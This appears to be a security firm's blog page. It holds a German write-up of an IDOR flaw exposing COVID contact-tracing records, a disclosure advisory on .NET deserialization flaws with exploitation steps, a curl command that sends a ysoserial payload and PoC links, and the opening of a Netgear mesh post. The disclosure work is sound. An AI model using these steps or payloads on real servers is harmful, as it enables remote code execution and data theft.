2020-07-07 11:00:23

Mit Webapps gegen COVID-19

Am 29. Juni 2020 hat unser Kollege Joël Gunzenreiner eine Schwachstelle in der Web-Applikation forAtable entdeckt. Die App dient der Erfassung von Kontaktdaten von Veranstaltungs- und Restaurantgästen, um mögliche COVID-19-Infektionsketten nachverfolgen zu können. Durch die Ausnutzung dieser Schwachstelle war es möglich, sämtliche über die Gäste erfassten Daten auszulesen.

Erster Akt: Die Regeln

Am 06. Juni 2020 wurden in der Schweiz die Corona-Einschränkungen weitreichend gelockert, und am 22. Juni 2020 fast vollständig aufgehoben. Der Schweizer Bundesrat hat in Folge diverse Maßnahmen zur weiteren Eindämmung von Covid-19 erlassen.

Eine dieser sog. "Massnahmen betreffend öffentlich zugängliche Einrichtungen, Betriebe und öffentlichen Veranstaltungen", schreibt vor, dass bestimmte Vorgaben umgesetzt werden müssen, um die Hygiene- und Abstandsregeln einzuhalten. Beispielsweise müssen gemäss Artikel 5 der Corona-Verordnung des Schweizer Bundesrates die Kontaktdaten der Besucher*innen von Restaurants oder Veranstaltern erhoben werden. In einem vom Branchenverband der Schweizer Gastronomie GastroSuisse in Zusammenarbeit mit mehreren Bundesämtern veröffentlichten Schutzkonzept wurden Möglichkeiten der Erhebung sowie die zu erhebenden Daten festgelegt:

Kontaktdaten können insbesondere über Reservations- oder Mitgliedersysteme oder mittels Kontaktformular erhoben werden. Es sind folgende Daten zu erheben:
  1. Name, Vorname, Wohnort, Telefonnummer und Tischnummer
  2. in Gästebereichen von Restaurationsbetrieben einschliesslich Bar- und Clubbetrieben, in denen die Konsumation stehend erfolgt, sowie in Diskotheken und Tanzlokalen: die Ankunfts- und Weggangszeit;
  3. bei Veranstaltungen ohne Sitzplätze mit mehr als 300 Personen: der Sektor, in dem sich die Person aufhalten wird.
(Auszug aus GastroSuisse Schutzkonzept Kapitel 9)

Das Schutzkonzept schreibt weiter vor, dass Betreiber*innen und Organisator*innen die Vertraulichkeit der Daten während der Aufbewahrung sicherstellen müssen. Eine Nutzung der Datensätze zu einem anderen als dem vorgesehenen Zweck ist dabei ebenso vorgeschrieben wie die Löschung der Datensätze nach 14 Tagen.

Zweiter Akt: Lösungen

In den meisten Gaststätten finden Gäste dieser Tage oft einen kleinen Zettel mit einem Stift auf dem Tisch vor. Auf diesem Zettel vermerken die Gäste ihre geforderten persönlichen Daten und ggf. weitere Angaben zur Person.

Der Zettel verschwindet dann im Backoffice des Betriebs und wartet auf den Schredder oder die Behörde. Dies scheint datenschutztechnisch die derzeit schmerzärmste Variante zu sein, da zum einem eine Contact-Tracing-App auf einem Smartphone in einem Restaurant teilweise nur bedingt hilft, und zum anderen jede*r Besucher*in vor dem Einlass zur Handy-Kontrolle antreten müsste.

Zettel und Stift? Es dauerte nicht lang, bis dieser Umstand als Weckruf die Kanäle der Online-Tischreservierungs-Branche erreichte. Letztere produzierte hektisch eine Online-Version der "Zettel und Stift"-Variante: Das Züricher Startup LunchGate bastelte noch schnell eine Corona-Tracing-Funktion in ihre Tischreservierungs-Web-Applikation, und war im Geschäft.

Die Erfassung der erforderlichen Daten erfolgt über ein entsprechendes Formular der forAtable-Web-Applikation. Dies kann über das Scannen eines QR-Codes mit dem Smartphone oder durch die direkte Eingabe der URL geschehen. Auf dem Smartphone des Gastes präsentiert sich das Formular wie in Abbildung 1 links:

Abbildung 1

Nach der Eingabe der Daten (Vorname, Nachname und Telefonnummer) und dem Akzeptieren der Covid-19-Datenschutzerklärung, die man natürlich vorher gelesen hat, können die Daten an den Server von LunchGate geschickt werden. Der Gast bekommt anschließend auf einer Bestätigungsseite die eingetragenen Daten vorsichtshalber nochmals angezeigt - wie in Abbildung 1 rechts ersichtlich, ergänzt mit einer genauen Uhrzeit des Check-ins.

Herr Meier freut sich darüber, sich progressiv wie lange nicht mehr verhalten zu haben, und wartet auf sein Cordon Bleu.

Dritter Akt: Die Vollkontakt-Datenspeicherung und die Hacker

Nachdem unser Kollege Joël während eines Bar-Besuchs diesen Prozess abgeschlossen hatte, wollte er es dann doch ein bisschen genauer wissen. Glücklicherweise hatte er sich die URL der Bestätigungsseite notiert, um den ganzen Prozess nochmal am Schreibtisch genauer unter die Lupe zu nehmen; so wie es jeder andere interessierte Hacker des Planeten auch getan hätte.

In der URL der Bestätigungsseite ist eine ID enthalten, die für den erstellten Datensatz generiert wurde. Jeder Besuch einer Person generiert eine solche ID und einen dazugehörigen Datensatz. Onkel Kevin hat also eine eindeutige ID für jeden seiner Restaurantbesuche. So auch Joël. Und alle anderen Gäste, die das System von LunchGate nutzen. LunchGate verwendet die ID, um die Daten zu einem Besuch auf der Bestätigungsseite anzuzeigen.

Abbildung 2 - Datensatz-ID (rot markiert): 174396

Wenn man nun eins und 174395 zusammenzählt, erkennt man als Hacker mit einschlägigen Erfahrungen im Bereich der Addition natürlicher Zahlen, dass dem Algorithmus zur Generierung eindeutiger IDs möglicherweise eine sehr einfache Funktion zugrunde liegt. Probieren wir es doch einfach mal aus, verkleinern die ID und setzen sie also von beispielsweise 174396 auf 174394. Wenig überraschend: es erscheint ein anderer Datensatz.

Abbildung 3 - Datensatz ID 174394 vom 2.7.2020
In der Web-Applikation ist es also möglich, alle erfassten Eingaben von allen Gästen abzurufen - und das als unberechtigter, anonymer Benutzer.

Die Covid-19-Verordnung des Schweizerischen Bundesrates legt fest, dass man die erhobenen Daten zu keinen anderen Zwecken als der Bekämpfung der Covid-19-Epidemie verwenden darf. Tatsächlich sind aber sämtliche Daten ungeschützt im Internet zugänglich: Name, Telefonnummer, Besuchszeit und teilweise die kompletten Adresse. Damit dürften sie weiteren Zwecken unterlegen sein.

Moment, es gibt doch noch eine andere Regel: die Daten müssen nach 14 Tagen gelöscht werden. Subtrahieren wir ein paar weitere Werte und schauen uns den Datensatz mit der ID 87657 an:

Abbildung 4 - Datensatz ID 87657 Restaurantbesuch vom 12.6.2020

Die obenstehende Abfrage ist vom 02.07.2020. Zu sehen sind aber die Daten eines Restaurantbesuchs vom 12. Juni 2020. Das bedeutet, dass die angezeigten Daten 21 Tagen vor dieser Abfrage erhoben und gespeichert worden sind.

Die vorgeschriebene Datenhaltung von 14 Tagen wurde also weit überschritten.

"Warum ist das ein Problem?" fragt Herr Meier vielleicht.

Im Gegensatz zur Datensatz-ID der Firma LunchGate ist eine Telefonnummer eine weltweit einmalige, eindeutig einer Person zuzuordnende ID. Die Web-Applikation erlaubt es, eine Zuordnung von Namen zu einer Telefonnummer einzusehen. Lädt man sich die komplette Covid-19-Contact-Tracing-Datenbank herunter und korreliert sämtliche Datensätze, lassen sich über einen längeren Zeitraum möglicherweise Bewegungsprofile ganzer Gruppen erstellen.

Insbesondere im Kontext der Covid-19-Epidemie lädt dies regelrecht zu Social-Engineering-Angriffen auf Gaststättenbesucher*innen ein: Kriminelle wissen genau, wann eine Person wo war, sie haben die Telefonnummer und die Namen der Personen - mehr braucht es nicht, um potentiellen Opfern per Anruf unkluge Handlungen plausibel erscheinen zu lassen. Denn genau so funktioniert Social Engineering. Enkeltrick reloaded.

Natürlich erlaubt eine solche Rendezvous-Datenbank noch ganz andere Schlüsse, wenn man die Daten in ihrer Gesamtheit nur entsprechend sortiert und durchsuchbar gestaltet. Dass an den Daten Interesse besteht, hat die Deutsche Polizei in Hamburg schon gezeigt.

Vierter Akt: Probleme sind dazu da, gelöst zu werden

Die oben beschriebene Schwachstelle ist eine sog. IDOR-Schwachstelle (Insecure Direct Object Reference), eine (unsichere) direkte Referenz auf einen Datensatz - in diesem Fall über eine URL.

Angreifer können durch unautorisierte Referenzen auf sensible Informationen zugreifen. Das ist in diesem konkreten Fall besonders trivial, da die einmaligen IDs, die als Referenz dienen, sehr kleine Zahlen sind, die zudem fortlaufend erzeugt werden. Somit sind sie leicht zu erraten und begünstigen Missbrauch enorm. Kennt ein Angreifer irgendeine valide ID, kann er weitere gültige IDs schnell erraten. Eine Schwachstelle wie diese kann auftreten, wenn eine schlechte/schwache Zugriffskontroll-Implementierung oder gar keine vorhanden ist.

Was können die Betreiber dieser Covid-19-Tracing-Datenbank also konkret anstellen, um diese Probleme in den Griff zu bekommen?

  1. Wenn Daten nur geschrieben werden sollen, warum kann man sie dann lesen?
    1. Berechtigungskonzepte erstellen (vor der Entwicklung): Gaststätten müssen eine Liste eines bestimmten Zeitraums lesen dürfen, um diese auf Anfrage an die Gesundheits-Behörden weitergeben zu können. Eine Gaststätte darf nur die Datensätze der eigenen Besucher*innen lesen dürfen.
    2. Authentifizierungskonzepte erstellen (vor der Entwicklung): Organisationen, Benutzer und Rollen müssen sich mit angemessen sicheren Konzepten gegenüber der Anwendung legitimieren, bevor sie auf Datensätze zugreifen dürfen.
    3. Eine "Bestätigungsseite" benötigt unmittelbar nach der Registrierung keinen Datenbankzugriff über eine Web-API auf den eigenen Datensatz.
  2. Ausschließlich notwendige Daten erheben: Wozu wird ein Realname benötigt, wenn es eine eindeutige und einzigartige ID (Telefonnummer) gibt?
  3. Unique IDs, die als PII gelten, also Personen identifizieren, dürfen nicht erratbar sein. Sie sollten üblicherweise zufällig generiert werden und nicht vorhersagbar sein, wie beispielsweise UUIDs.

Das Problem der fehlenden Löschung lässt sich noch viel einfacher lösen:

  1. Daten automatisch nach 14 Tagen löschen,
  2. Backups dieser Daten automatisch nach 14 Tagen löschen,
  3. keine Backups dieser Daten anfertigen.

Alternativ können Gaststätten auch einfach (wieder) zum Papier greifen. Vorausgesetzt, jeder Tisch bekommt seinen eigenen Zettel, und keine zu ergänzende Liste. Diese Zettel werden am Ende eines Tages in ein grosses Couvert gesteckt. Auf das Couvert wird das Datum geschrieben, an dem es vernichtet werden soll, also in 14 Tagen. Anschließend wandert es in die Kiste mit allen anderen Couverts. Und noch bevor ein Mitarbeiter des Restaurants morgens das Kühlaggregat der Zapfanlage in Betrieb nimmt, wirft er alle Couverts mit dem aktuellen Datum in den Schredder.

Ein systematisches Problem müssen die Firmen und Anbieter solcher Lösungen allerdings selber in den Griff bekommen: Behandelt eure Benutzer*innen nicht wie Beta-Tester. Veröffentlicht doch bitte eure Produkte erst dann, wenn alle notwendigen Funktionen, Datenschutz- und Sicherheitsrichtlinien implementiert sind. Danke.

Fünfter Akt: Behauptungen sind dazu da, belegt zu werden

Wir haben einen Screencast angefertigt, um den oben beschriebenen Flow zu dokumentieren und unsere Aussagen zu belegen:

Um die Machbarkeit eines Datendiebstahls zu demonstrieren, hat modzero ein Pythonscript geschrieben, dass die Enumerierung von beliebigen Datensatz-IDs demonstriert. Dieses Script werden wir auf GitHub veröffentlichen sobald LunchGate die Sicherheitslücke geschlossen hat.

Für diesen. Artikel haben wir die abgefragten Datensätze aus Datenschutzgründen auf selbst erstellte Fake-Datensätze beschränkt:

Abbildung 5 - Enumeration

Am Abend des 03. Juli 2020 erreichte uns eine E-Mail eines Managing Partner der LunchGate AG. In der E-Mail wurde uns mitgeteilt, dass die IDOR-Schwachstellen behoben seien. Zur 14-Tage Löschfrist hiess es, hier bestünden keine Probleme.


Posted by Sven Faßbender, Joël Gunzenreiner, Thorsten Schröder | Permanent link | File under: security, hacking, opsec, exploit, rant

2020-06-16

MZ-20-03 - New security advisory regarding vulnerabilities in .Net

Today, we publish a new advisory for some vulnerabilities, that have been found by our team-mate Nils Ole Timm (@firzen14).

Nils spent some time with .Net deserialization attacks and research. In April 2020 we already published an article about his Deserialization Attacks in .Net Games.

While the gaming industry thankfully fixed all of the reported issues, Microsoft elected to manage rather than fix the reported issues. For this advisory, two of them were not considered vulnerabilities by Microsoft as "by design". The third one was originally planned to be fixed, but a week before the disclosure deadline Microsoft informed us that they would only add a warning to their documentation.

Proof of Concept code is provided for each vulnerability right here:

The direct link to the advisory is https://www.modzero.com/advisories/MZ-20-03-Net-Deserialization.txt

---------------------------------------------------------------- v5 ---

modzero Security Advisory:
Multiple deserialization vulnerabilities in the .Net runtime [MZ-20-03]

-----------------------------------------------------------------------

-----------------------------------------------------------------------

1. Timeline

-----------------------------------------------------------------------

* 2020-02-14: This  advisory  has been  sent to the Microsoft  security
              team (security@microsoft.com).
* 2020-02-19: Microsoft  requests  that  the  three  vunerabilities are
              resubmitted individually.
* 2020-02-19: Vulnerabilities resubmitted individually.
* 2020-02-29: Microsoft closes 4.2 as "By Design".
* 2020-03-19: Microsoft accepts 4.1 as a security issue.
* 2020-03-19: Microsoft closes 4.3 as "By Design".
* 2020-04-07: Microsoft  informs  modzero of a planned patch release on
              June 9th.
* 2020-06-02: Microsoft informs modzero that the vulnerability  will be
              fixed with documentation only.
* 2020-06-08: modzero replies with concerns regarding the proposed fix.
* 2020-06-15: Microsoft replies that they will go through with the fix.
* 2020-06-16: modzero publishes this disclosure.

-----------------------------------------------------------------------

2. Summary

-----------------------------------------------------------------------

Vendor: Microsoft

* 4.1 Deserialization vulnerability in
      IsolatedStorageFileEnumerator::MoveNext via crafted  identity.dat
      file leading to arbitrary code execution
      modzero: CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H -> 8.2

* 4.2 Deserialization vulnerability in
      BinaryServerFormatterSink::ProcessMessage
      4.2.1 When configured with TypeFilterLevel.Low
           Denial of Service
           modzero: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H -> 7.5
           
      4.2.2 When configured with TypeFilterLevel.Full
           Remote code execution
           modzero: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H -> 9.0
  
* 4.3 Deserialization vulnerability in 
      System.Messaging.Message::get_Body() using a
      BinaryMessageFormatter   leading   to   remote   code   execution
      modzero: CVSS:3.0/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H -> 9.0

-----------------------------------------------------------------------

3.0 Introduction

-----------------------------------------------------------------------

modzero identified several critical vulnerabilities in the .Net runtime
which  can lead to  denial of service  or remote code execution attacks 
against services using standard built-in .NET features. A potential for
local  privilege  escalation  or persistence  using the IsolatedStorage 
vulnerability was also found.

Any  software  using  the  vulnerable  .Net  components is  potentially
affected.
Specifically:
    
    * Enumeration of IsolatedStorage spaces
    * .Net Remoting with binary serialization
    * .Net MSMQ with a BinaryMessageFormatter

modzero  identified  and  tested the  vulnerabilities to be present in:

.NET Framework
4.8 4.7.2 4.7.1 4.7 4.6.2 4.6.1 4.6 4.5.2 4.5.1 4.5

Earlier  versions  have not been tested, but are  likely to at least be
partially affected as well.

-----------------------------------------------------------------------

4. Details

-----------------------------------------------------------------------

4.1 Triggering Deserialization vulnerability in 
    IsolatedStorageFileEnumerator::MoveNext  via  crafted  identity.dat
    file leads to arbitrary code execution

An attacker  with write access  to the  identity.dat file can  inject a
deserialization payload, which will be  executed when the built-in .NET
method   IsolatedStorageFileEnumerator::MoveNext    is   called.   When
creating   an    IsolatedStorage   space    in   the    Machine   scope
(IsolatedStorageScope.Machine)  its  identity.dat  file  has  read  and
write permissions  for the  "Everyone" Windows-Group. An  attacker with
access to any account can  create a Machine scope IsolatedStorage space
and cause  the vulnerability  to trigger on  the next  enumeration. The
enumeration itself  does not  have to  be controlled  or issued  by the
attacker  and thus  the  execution  takes place  in  the context  where
enumeration occurs.
    
When    using    an    IsolatedStorageFileEnumerator    to    enumerate
IsolatedStorage spaces, the  MoveNext method will read  the contents of
each  space's  identity.dat  file  and  deserialize  them  without  any
security features enabled. The identity.dat  files in the Machine scope
have  read/write  permissions   for  the  Everyone  group   and  a  low
privileged user  can craft an  identity.dat file to execute  a standard
deserialization attack when another user enumerates storage spaces.
    
This for example affects the storeadm.exe tool.
    
The  following  code  snippets  demonstrate   how  the  data  from  the
identity.dat  file is  passed directly  into a  BinaryFormatter without
further sanitization or any security measures.

IsolatedStorageFileEnumerator::MoveNext calls
this.GetIDStream(twoPaths.Path1,  out  stream)  to  retrieve  the  file
contents of  the associated  identity.dat file of  each IsolatedStorage
space into a stream variable.
    
    
    public bool MoveNext()
    {
      while (this.m_fileEnum.MoveNext())
      {
        [...]
        if (flag)
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream) || !this.GetIDStream(twoPaths.Path1 + "\\" + twoPaths.Path2, out stream2))
          [...]
        }
        else if (IsolatedStorageFile.NotAppFilesDir(twoPaths.Path2))
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream2))
          [...]
          stream2.Position = 0L;
        }
        else
        {
          if (!this.GetIDStream(twoPaths.Path1, out stream3))
          [...]
          stream3.Position = 0L;
        }


The  previously   populated  stream  variable  holding   the  possibliy
malicious identity.dat file's  content is passed to an  overload of the
InitStore method as documented in the followind code section.


    if (isolatedStorageFile.InitStore(scope, stream, stream2, stream3, domainName, assemName, appName) && isolatedStorageFile.InitExistingStore(scope)) 
    {
      this.m_Current = isolatedStorageFile;
      return true;
    }
                
                
The InitStore method then passes  the MemoryStream of the file contents
into a BinaryFormatter without enabling any security features on it.
    
    
    internal bool InitStore(IsolatedStorageScope scope, Stream domain, Stream assem, Stream app, string domainName, string assemName, string appName)
    {
      BinaryFormatter binaryFormatter = new BinaryFormatter();
      [...]
        this.m_AppIdentity = binaryFormatter.Deserialize(app);
      [...]
        this.m_AssemIdentity = binaryFormatter.Deserialize(assem);
      [...]
          this.m_DomainIdentity = binaryFormatter.Deserialize(domain);

    
This  allows   execution  of  arbitrary  code   by  utilizing  standard
BinaryFormatter deserialization  gadgets; payloads  can for  example be
generated using the ysoserial.net tool.  This can be used for privilege
escalation, especially since enumeration  of isolated storage spaces is
typically only performed during administrative tasks.
    
When creating an IsolatedStorage space scoped  to a user with a roaming
profile,   the  modified   identity.dat  file   may  be   automatically
transferred  across  an Active  Directory  network.  In this  case  the
vulnerability  may  spread across  the  network  if an  enumeration  of
storage  spaces  is  regularly  performed. A  transferred  payload  can
infect another computers  Machine scope which can in  turn infect other
users and their roaming scope.



4.2 Deserialization vulnerability in
    BinaryServerFormatterSink::ProcessMessage   leading  to  Denial  of
    Service (DoS)
    
    
By sending  a crafted message  to a .Net  remoting channel a  denial of
service or remote  code execution can be triggered if  the channel uses
a  BinaryServerFormatterSink in  its SinkChain,  which it  does in  the
default  configuation.  Wether or  not  the  DoS  or RCE  will  trigger
depends  on what  the  BinaryServerFormatterSink's TypeFilterLevel  has
been set to.
    
The default  is Low, in  which case only the  Denial of Service  can be
triggered. If  it has been set  to Full instead, remote  code execution
can be performed.

When  using Remoting  in .Net  the incoming  and outgoing  messages are
processed by SinkChains, which are  essentially a linked list of sinks.
These sinks  are passed the  current data, perform some  processing and
pass the updated data on to  the next chain for further processing. One
of  these  sinks  is   the  BinaryServerFormatterSink  which  processes
incoming messages which have been serialized to a binary format.
    
When an incoming  message is received, ProcessMessage is  called on the
BinaryServerFormatterSink  instance, the  requestStream that  is passed
to it contains the serialized message  that the sink is ment to decode.
If  the TypeFilterLevel  property of  the BinaryFormatterSink  has been
set to  Low it  will restrict  the security context  to only  grant the
SerializationFormatter permission.
    
If the  TypeFilterLevel is set to Full,  the  security context won't be
restricted.
(https://docs.microsoft.com/en-us/dotnet/api/system.runtime.serialization.formatters.typefilterlevel?view=netframework-4.8)
Afterwards  it  will  call  CoreChannel.DeserializeBinaryRequestMessage
with the requestStream it has been called with.
    
    
    if (this.TypeFilterLevel != TypeFilterLevel.Full)
    {
      permissionSet = new PermissionSet(PermissionState.None);
      permissionSet.SetPermission(new SecurityPermission(SecurityPermissionFlag.SerializationFormatter));
    }
    try
    {
      if (permissionSet != null)
      {
        permissionSet.PermitOnly();
      }
      requestMsg = CoreChannel.DeserializeBinaryRequestMessage(text5, requestStream, this._strictBinding, this.TypeFilterLevel);
    }
    finally
    {
      if (permissionSet != null)
      {
        CodeAccessPermission.RevertPermitOnly();
      }
    }
            
            
CoreChannel.DeserializeBinaryRequestMessage    then    initializes    a
BinaryFormatter   and   sets   its   FilterLevel   according   to   the
BinaryServerFormatterSink's.  It then  calls  UnsafeDeserialize on  the
BinaryFormatter.
    
    
    internal static IMessage DeserializeBinaryRequestMessage(string objectUri, Stream inputStream, bool bStrictBinding, TypeFilterLevel securityLevel)
    {
      BinaryFormatter binaryFormatter = CoreChannel.CreateBinaryFormatter(false, bStrictBinding);
      binaryFormatter.FilterLevel = securityLevel;
      CoreChannel.UriHeaderHandler @object = new CoreChannel.UriHeaderHandler(objectUri);
      return (IMessage)binaryFormatter.UnsafeDeserialize(inputStream, new HeaderHandler(@object.HeaderHandler));
    }
            
            
The UnsafeDeserialize call then gets  passed down to a Deserialize call
which   instantiates    an   ObjectReader   with    the   corresponding
TypeFilterLevel.  It then  calls ObjectReader::Deserialize  on the  new
ObjectReader instance.
    
    
    internal object Deserialize(Stream serializationStream, HeaderHandler handler, bool fCheck, bool isCrossAppDomain, IMethodCallMessage methodCallMessage)
    {
      [...]
      internalFE.FEsecurityLevel = this.m_securityLevel;
      ObjectReader objectReader = new ObjectReader(serializationStream, this.m_surrogates, this.m_context, internalFE, this.m_binder);
      objectReader.crossAppDomainArray = this.m_crossAppDomainArray;
      return objectReader.Deserialize(handler, new __BinaryParser(serializationStream, objectReader), fCheck, isCrossAppDomain, methodCallMessage);
    }
            
            
ObjectReader::Deserialize    then    performs   the    deserialization.
Additional security checks are performed if IsRemoting is true.
    
    
    internal void CheckSecurity(ParseRecord pr)
    {
      Type prdtType = pr.PRdtType;
      if (prdtType != null && this.IsRemoting)
      {
        [...]
        FormatterServices.CheckTypeSecurity(prdtType, this.formatterEnums.FEsecurityLevel);
      }
    }
            
            
IsRemoting  is  true if either  bMethodCall or  bMethodReturn  is true.

    
    private bool IsRemoting
    {
      get
      {
        return this.bMethodCall || this.bMethodReturn;
      }
    }
            
            
These two values  (bMethodCall and bMethodReturn) are only  set to true
by the SetMethodCall and SetMethodReturn methods respectively.

    
    
    internal void SetMethodCall(BinaryMethodCall binaryMethodCall)
    {
      this.bMethodCall = true;
      this.binaryMethodCall = binaryMethodCall;
    }

    internal void SetMethodReturn(BinaryMethodReturn binaryMethodReturn)
    {
      this.bMethodReturn = true;
      this.binaryMethodReturn = binaryMethodReturn;
    }
            
            
Those         two        methods         are        only         called
from__BinaryParser::ReadMethodObject,   which  is   only  called   from
__BinaryParser::Run
    
    
    case BinaryHeaderEnum.MethodCall:
    case BinaryHeaderEnum.MethodReturn:
      this.ReadMethodObject(binaryHeaderEnum);
                
                
Therefore additional security checks are  only performed if an IMessage
is being deserialized.  An attacker can bypass  the additional security
checks  by  submitting  a  crafted  stream of  data  that  contains  no
IMessage object and triggers execution of deserialization gadgets.
    
Using   the   standard   TypeConfuseDelegate    gadget,   a   call   to
System.Diagnostics.Process::Start(string,string) can be performed.

In the  case of TypeFilterLevel  being set to  Low (4.2.1) the  call to
Process.Start  then causes  an  uncaught  SecurityException, since  the
security   context    is   restricted.   The   exception    occurs   in
System.Diagnostics.ShellExecuteHelper::ShellExecuteFunction     in    a
separate                thread                spawned                by
System.Diagnostics.ShellExecuteHelper::ShellExecuteOnSTAThread.     The
uncaught exception  then causes termination  of the process  leading to
Denial of Service.
    
In the  case of TypeFilterLevel being  set to Full (4.2.2)  the call to
Process.Start passes all security checks  and a new process is started.
In this  case arbitrary code  can be executed  remotely as long  as the
channel is accessible.

Because there are no restrictions  imposed on the deserialization, when
using  an HTTP  channel 4.2.2  can also  be exploited  by generating  a
payload file  with the  ysoserial.net tool  and a  curl request  of the
form:
    
    
    curl -X POST -H "Content-Type: application/octet-stream" --data-binary "@payload" http://serveraddress/Service


4.3 Deserialization vulnerability in
    System.Messaging.Message::get_Body() using a BinaryMessageFormatter
    
When  using  Microsoft  Message  Queueing (MSMQ)  with  .Net,  messages
retrieved  from the  Queue are  processed into  a Message  object. This
object  contains an  IMessageFormatter property  and in  the case  of a
retrieved  messageit contains  a BodyStream  that holds  the serialized
body of  the message.  This BodyStream is  not parsed  immediately, but
will instead be  deserialized only when the Body's  getter is accessed.
The getter then calls  Formatter.Read on its IMessageFormatter instance
to create the actual Body object.
    
    
    public object Body
    {
      get
      {
        if (this.filter.Body)
        {
          if (this.cachedBodyObject == null)
          {
            [...]
            this.cachedBodyObject = this.Formatter.Read(this);
          }
          return this.cachedBodyObject;
        }
                    
                    
If the  IMessageFormatter is a BinaryMessageFormatter,  its Read method
checks    if   the    BodyType   is    compatible   and    then   calls
BinaryFormatter::Deserialize  on  a  default  BinaryFormatter  instance
with no additional security features enabled.
    
    
    public BinaryMessageFormatter()
    {
      this.formatter = new BinaryFormatter();
    }

    public object Read(Message message)
    {
      [...]
      int bodyType = message.BodyType;
      if (bodyType == 768)
      {
        Stream bodyStream = message.BodyStream;
        return this.formatter.Deserialize(bodyStream);
                   
                    
This allows  the use  of arbitrary deserialization  gadgets and  can be
used to  execute arbitrary code  when somebody retrieves  messages from
the message queue.

-----------------------------------------------------------------------

5. Proof of Concept exploits

-----------------------------------------------------------------------

PoC  exploits are  provided  as separate  git  repos containing  Visual
Studio Solutions.

The  IsolatedStorageVulnerability  solution demonstrates  vulnerability
4.1.

After executing the PoC, any vulnerable program enumerating the Machine
scope will  execute a program  when deserializing the  payload. Running
"storeadm /List"  in the  Visual Studio  Developer Console  for example
will trigger the vulnerability.


The RemotingVulnerability solution demonstrates vulnerabilities 4.2.

It contains two projects:
    * RemotingService - a bare bones Remoting server
    * RemotingExploit - the actual exploit
When the server is running  and configured with TypeFilterLevel.Low the
exploit will crash  the server process. When the server  is running and
configured  with TypeFilterLevel.Full  the  exploit  will trigger  code
execution in the server process.


The MSMQ solution demonstrates vulnerability 4.3.

It contains two projects:
    * MSMQ Reader - a small program polling messages from an MSMQ
    * MSMQ Exploit - the actual exploit
When the  reader is running  the exploit  will cause code  execution to
occur as  soon as  the getter of  the Body property  of the  Message is
accessed.


All  projects use  the TypeConfuseDelegate  gadget with  SortedSet`1 to
reach code execution from the deserialization vulnerability.

Please find the PoC projects at GitHub:

* https://github.com/modzero/MZ-20-03_PoC_IsolatedStorage
* https://github.com/modzero/MZ-20-03_PoC_NetRemoting
* https://github.com/modzero/MZ-20-03_PoC_MSMQ_BinaryMessageFormatter

-----------------------------------------------------------------------

6. Workarounds

-----------------------------------------------------------------------

For 4.2, restricting  access to  the remoting  channel will  reduce the
potential  attack vectors.  When  using Tcp  or  Icp channels, enabling
authentication can  mitigate some  risks as  well. If  possible setting
TypeFilterLevel to  Low will  mitigate the  RCE to  a DoS  but business
cases might require using TypeFilterLevel.Full

For 4.3, if possible, restrict access to any queue unless necessary.

-----------------------------------------------------------------------

7. Fix

-----------------------------------------------------------------------

Currently, no fixes are available.

-----------------------------------------------------------------------

8. Credits

-----------------------------------------------------------------------

 * Nils Ole Timm

-----------------------------------------------------------------------

9. About modzero

-----------------------------------------------------------------------

The  independent  Swiss-German  company modzero  assists  clients  with
security analysis  in the  complex areas  of  computer  technology. The
focus  lies  on   highly  detailed  technical   analysis  of  concepts,
software   and hardware   components as  well as   the development   of
individual   solutions.  Colleagues  at  modzero   work exclusively  in
practical, highly  technical computer-security  areas and  can  draw on
decades  of  experience  in  various  platforms,  system  concepts, and
designs.

https://www.modzero.com 
contact@modzero.com

modzero  follows  coordinated  disclosure  practices  described   here:
https://www.modzero.com/static/modzero_Disclosure_Policy.pdf.

This  policy  should have  been  sent to  the  vendor along  with  this
security advisory.


-----------------------------------------------------------------------

10. Disclaimer

-----------------------------------------------------------------------

The information in the advisory is  believed to be accurate at the time
of  publishing based  on currently  available information.  Use of  the
information  constitutes acceptance  for  use in  an  AS IS  condition.
There are  no warranties with  regard to this information.  Neither the
author  nor  the  publisher  accepts  any  liability  for  any  direct,
indirect,  or consequential  loss or  damage  arising from  use of,  or
reliance on, this information.


Posted by Thorsten Schroeder | Permanent link | File under: security, software, github, hacking, exploit, re, advisory

2020-05-18

How Netgear meshed(*) up WiFi for Business

(*) I'm really sorry for the pun line.

One day in December, I decided to actually build something. Something more or less useful. So, I paused breaking stuff (I really did) to create something that could help enhance the security-level of WiFi networks. I failed.

When I set out to build the thing I mentioned above, it also involved taking a closer look at our recently acquired Netgear Orbi Pro WiFi Mesh system.

And when I say take a closer look I mean: I had to figure out how to use public APIs that are not supposed to be public. In this particular case, the public API is a SOAP interface, available on the local network (not the Internet).

Public APIs that are not supposed to be public are defined by three attributes:

  1. they are public
  2. they are undocumented
  3. they are still public

However, accessing interesting parts of the APIs requires authentication against the SOAP Web application running on each Netgear Orbi Pro Mesh device. When I tried to figure out how Netgear implemented Machine-to-Machine (M2M) authentication between Router/Access Point and Mesh-Satellites, I accidentally the whole network-confidentiality and -integrity.

But first, let's have a short introduction to this Orbi Pro Mesh WiFi thing:

The Netgear Orbi Pro WiFi Mesh network

The Netgear Orbi Pro Mesh WiFi system can provide a large coverage of WiFi signal over a large area within buildings, halls, and outdoors. Up to four separated 2.4GHz and 5GHz networks can be set up for different purposes:

  1. [Wireless 1] Main network with administrative access
  2. [Wireless 2] Employee network with limited access to admin interfaces
  3. [Wireless 3] Separate IoT/employee network
  4. [Guest] Unencrypted guest network with "Guest Portal"
The satellites are connected to the WiFi Router/Access-Point using a mesh network:

Orbi_DaisyChain
Fig.1 - Source: https://www.netgear.at/landings/mesh-network/images/Orbi_DaisyChain.png

This allows distribution of your WiFi network signal evenly across your property, building, hall and whatnot. This is fine. Really! Until you decide to spend less resources on security-architecture and cryptography.

So what went wrong...?

At some point, Netgear decided that provisioning of newly added Mesh-satellites does not need to be cryptographically secure. Convenience kills security; still in 2020 and even with one-time actions such as setting up a new mesh node.

The problem: Merge a new Mesh satellite into an existing WiFi setup. Already existing nodes shall accept and trust the newbie right away.

Netgear's solution: Ignore the benefits of presupposition of physical access to the devices that are part of the provisioning process, by pressing two buttons on router/AP and satellite. Instead, Netgear implemented a secret authentication mechanism, to authenticate mesh-nodes among themselves.

